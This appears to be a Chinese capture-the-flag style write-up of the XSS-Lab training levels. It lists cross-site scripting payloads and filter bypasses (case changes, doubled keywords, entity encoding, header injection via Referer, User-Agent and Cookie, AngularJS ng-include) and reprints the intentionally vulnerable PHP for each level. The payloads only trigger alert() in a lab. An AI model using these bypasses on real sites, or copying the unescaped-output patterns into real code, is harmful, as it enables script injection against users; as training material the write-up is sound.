0x00 背景
XSS
(Cross-Site Scripting
)即为跨站脚本攻击。XSS-Lab
是一个XSS
的练习平台。可以在BUUOJ
上很方便的进行练习。以下是我在做XSS-Lab
的时候总结的题解和一些思路,给想要刷题的同学提供一些参考。
0x01 通用payload
<script>alert(1)</script>
- 可以直接加入新标签
level1
- 闭合原有标签后可以加入新标签
level2
onmouseover='javascript:alert(1)'
或者onmouseover=alert(1)
- 使用了
html
实体编码level3
level17
level18
- 闭合原有标签后过滤了
<
和>
level4
onclick=alert(1)
- 闭合原有标签后过滤了
<
和>
level10
<a href=javascript:alert(1)>
- 绕过过滤了
<script>
和onmouseover
level5
<a img=0 onerror=alert(1)>
- 没有现成可填充标签且过滤了
script
level16
Tips
- 过滤
<script>
可以<Script>
也可以<script >
(空格只能在结尾)level6
- 绕过使用
str_replace
过滤为空,双写法level7
- 对
payload
进行html
编码绕过level8
level9
- 空格可以用
%0a
替换level16
- 通过改
HTTP
头部来做到XSS
HTTP_REFERER
在HTTP
头中加入Referer
level11
HTTP_USER_AGENT
在HTTP
头中加入User-Agent
level12
-
COOKIE
在HTTP
头中加入COOKIE
信息level13
-
angular
中ng-include
函数,可以包含外部的html
页面。在服务器上写一个弹窗的页面,在原来的页面包含此页面。 - 绕过
CORS
可以使用加入使用在HTTP
头中加入允许所有域名访问。level-15
0x02 题解
level-1
所传入的参数中可以直接包含
XSS
代码
<h1>test</h1>
<h1><script>alert(1)</script></h1>
进入页面,给出了一个参数是name
,我们尝试传入参数为test
,查看源代码,如下图,此时的参数是在<h2>xxx</h2>
标签中
所以我们直接尝试弹窗,构造payload
为test<script>alert(123)</script>
level-2
构造闭合的条件
<input name=keyword value="test">
<input name=keyword value="test"><script>alert(1)</script>.
进入页面,给出了一个参数是keyword
,我们尝试传入参数为test
,查看源代码,如下图,此时的参数是在<input name=keyword value="test">
中
如果我们想要插入alert
的代码,我们可以尝试构造如下
<input name=keyword value="test"><script>alert(123)</script>
进入页面,我们直接尝试弹窗,构造payload
为"><script>alert(1)</script>
level-3
绕过
html
实体编码
<input value='test'>
<input value='test' onmouseover='javascript:alert(1)'>
进入页面,给出了一个参数是keyword
,我们尝试传入参数为test
,查看源代码,如下图,此时的参数是在<input name=keyword value='test'>
中
和上道题目类似,只不过此时用来闭合value
的为单引号,我们尝试payload
为'><script>alert(1)</script>
,查看源代码如下图
我们输入的<
和>
被转义成了<
和>
查找资料,这里采用了实体编码htmlspecialchars
,htmlspecialchars()
函数可以把一些预定义的字符转换为 HTML 实体。
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
可用的引号类型:
ENT_COMPAT
默认 仅编码双引号
ENT_QUOTES
编码双引号和单引号
ENT_NOQUOTES
不编码任何引号
所以此处我们不能选择有<
和>
的方式,但是可以使用不带有尖括号的特殊字符进行尝试:
onmouseover
函数在鼠标指针移动到元素上被触发,onmouseover = 'javascript:alert(1)'
,在鼠标指针移动到元素会弹窗alert(1)
。
闭合引号,构造payload
为'onmouseover = 'javascript:alert(1)
level-4
绕过
<
和>
被过滤
<input value='test'>
<input value='test' onmouseover='javascript:alert(1)'>
进入页面,给出了一个参数是keyword
,我们尝试传入参数为test
,查看源代码,如下图,此时的参数是在<input name=keyword value='test'>
中
用来闭合value
的为双引号,我们尝试payload
为"><script>alert(1)</script>
,查看源代码如下图
当我们传入的payload
中包含<
和>
就会被删除,所以和上道题一样,我们传入的payload
中不能包含<
和>
,根据上道题的经验构造payload
为"onmouseover = "javascript:alert(1)
(注意此时用来闭合的为"
)
level-5
绕过过滤了
script
- 大小写
- 使用空格绕过
<a href="javascript:alert(1)">
进入页面,给出了一个参数是keyword
,我们尝试传入参数为test
,查看源代码,如下图,此时的参数是在<input name=keyword value='test'>
中
用来闭合value
的为双引号,我们尝试payload
为"><script>alert(1)</script>
,查看源代码如下图
我们传入的payload
中的<script>
被替换成了</scr_ipt>
。
构造payload
为" onmouseover="javascript:alert(1)
我们传入的payload
中的onmouseover
被替换成了o_nmouseover
。
有什么解决方法呢?
- 使用大小写绕过,
html
对大小写不敏感 - 可以使用超链接的方式
<a href="javascript:alert(1)">
,注意闭合标签,构造payload
为test"><a href="javascript:alert(1)
- 这里对
script
的过滤是对<script
进行的过滤,若是对整体<script>
过滤的话,我们可以使用<script >
来绕过. - 空格只能加在尾部,
< script>
是不符合要求的。
以下我们使用超链接的方法绕过
此时的页面有一个_
点击此处
level-6
大小写过滤
进入页面,给出了一个参数是keyword
,我们尝试传入参数为test
,查看源代码,如下图,此时的参数是在<input name=keyword value="test">
中
用来闭合value
的为双引号,我们还是尝试payload
为"><script>alert(1)</script>
,查看源代码如下图
<script>
还是被过滤了
onmouseover
和href
都被过滤了,我们就直接使用大小写过滤就轻松绕过了。
payload
为"><Script>alert(1)</scripT>
level1-level6 都比较容易盲测
从level7开始,个人建议在对照
github
上的源码再进行练习。
level-7
绕过
`str_replace
函数双写绕过
直接看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level8.php?keyword=nice try!";
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
使用php
中的str_replace
函数对script
,on
,src
,data
,href
进行了过滤,将关键字替换为空,且无法使用大小写绕过。但是str_replace
函数只会替换一次,因此我们可以使用双写来绕过。
payload
为test" oonnmouseover="javascript:alert(1)
,构成的完成句子如下
<input name=keyword value="test" oonnmouseover="javascript:alert(1)">
level-8
html
编码绕过过滤
直接看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level9.php?keyword=not bad!";
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<h1 align=center>欢迎来到level8</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
本题在level-7
的基础上多过滤了一个"
,且关键词不是被过滤为空,所以不能用双写的方法绕过。我们level-7
的paylaod
无法使用,我们此时可以构成的是payload
恰好可以在<a>
标签里面,自然而然就想到构成<a href="javascript:alert(1)">
,payload
为javascript:alert(1)
。
将javascript
代码使用html
编码,就可以避免payload
中的script
被过滤了。
payload
为javascript:alert(1)
level-9
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level10.php?keyword=well done!";
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
本题在level-8
的基础上,payload
中必须要包含http
。我们可以直接用注释符将后来的内容注释掉,我们填进去的http://
不会对原来的句子造成影响。payload
为javascript:alert(1) //http://
,填充payload
之后如下:
<a href="javascript:alert(1) //http://
再使用html
编码之后,payload
为javascript:alert(1) //http://
level-10
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level11.php?keyword=good job!";
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
发现str33
是可以通过t_sort
传入参数的。
可以使用payload
为?t_sort=test" type="text" onmouseover="javascript:alert(1)
当然也可以使用onclick
属性构成payload
为?t_sort=test type="text" onclick=alert(1)
此时构成的input
如下
<input name="t_sort" value="test" type="text" onclick=alert(1) type="hidden">
level 11-level13 都是通过更改
HTTP
头来做到XXS
level-11
HTTP_REFERER
在
HTTP
头中加入Referer
进入页面,直接查看源代码,如下图所示。
尝试传入参数,发现只有t_sort
是可用的,但是引号会被转义,传入的payload
中的引号同时也被转义。目前看起来没有什么可以利用的点。
查看源代码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level12.php?keyword=good job!";
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
查看源代码可知,HTTP_REFERER
过滤了<
和>
之后赋值给了t_ref
,我们可以构造$str33
为test" type="text" onclick="alert(1)
,此时构成的标签如下:
<input name="t_ref value="test" type="text" onclick="alert(1)" type="hidden">
可以使用burp
在HTTP
头中加入Referer: test" type="text" onclick="alert(1)
,这样就可以发送HTTP_REFERER
。
在浏览器中打开
level-12
HTTP_USER_AGENT
在
HTTP
头中加入User-Agent
直接查看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level13.php?keyword=good job!";
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
和level-11
类似,只不过这次要添加的头部信息是HTTP_USER_AGENT
,$str33
为test" type="text" onclick="alert(1)"
此时input
标签内容如下
<input name="t_ua" value="test" type="text" onclick="alert(1)">
利用burp
改包
level-13
COOKIE
在
HTTP
头中加入COOKIE
信息
直接查看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level14.php";
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
和level-11
类似,只不过这次要添加的头部信息是$_COOKIE
,$str33
为test" type="text" onclick="alert(1)"
此时input
标签内容如下
<input name="t_ccok" value="test" type="text" onclick="alert(1)">
利用burp
改包
level-14
level-14
的环境出现问题
level-15
angular
中ng-include
函数,可以包含外部的html
页面。在服务器上写一个弹窗的页面,在原来的页面包含此页面。绕过
CORS
可以使用加入使用在HTTP
头中加入允许所有域名访问。
<html ng-app>
<head>
<meta charset="utf-8">
<script src="angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
ng-include
是Angularjs
中的指令,可以包含外部的html
文件。所以我们可以用来包含一个存在XSS
的页面,最简单的思路就是包含一个前面我们已经打通的页面,但是并没有打通。
另辟蹊径,我们也可以自己在服务器上传一个存在XSS
的页面,然后payload
中包含这个页面。
构造存在XSS
的页面的代码如下:
<html>
<img src=1 onerror="alert(123)">
</html>
payload
为src='http://xxx.xxx.xxx.xxx.xxx'
但是并没有成功,检查一下页面
注意到因为CORS
被阻拦,我们在HTTP
头中加入允许所有域名访问
<?php
header('Access-Control-Allow-Origin:*');
?>
<html>
<img src=1 onerror="alert(123)">
</html>
成功
level-16
没有现成可填充标签且过滤了
script
标签
<a img=0 onerror=alert(1)>
查看源码
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>
</body>
</html>
我们通过get
参数传入的keyword
,过滤了/
,,
script
,可以显示在中间的位置。
构造payload
为<img src=0 onerror=alert(1)>
,过滤的空格可以用%0a
替换,最终的payload
为?keyword=<img%0asrc=0%0aonerror=alert(1)>
level-17
传参不严格造成XSS
onmouseover=alert(1)
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
}
</script>
<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>
传入的参数都经过htmlspecialchars
处理,因此payload
中不能包含&
,"
,'
,<
,>
。传参的同时,可以进行XSS
arg01=1&arg02=2 onmouseover=alert(1)
level-18
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>
几乎和level-18
一样,payload
为arg01=1&arg02=2 onmouseover=alert(1)
level-19 level-20
level-19 level-20 都属于flash xss
类型,在此不做讨论。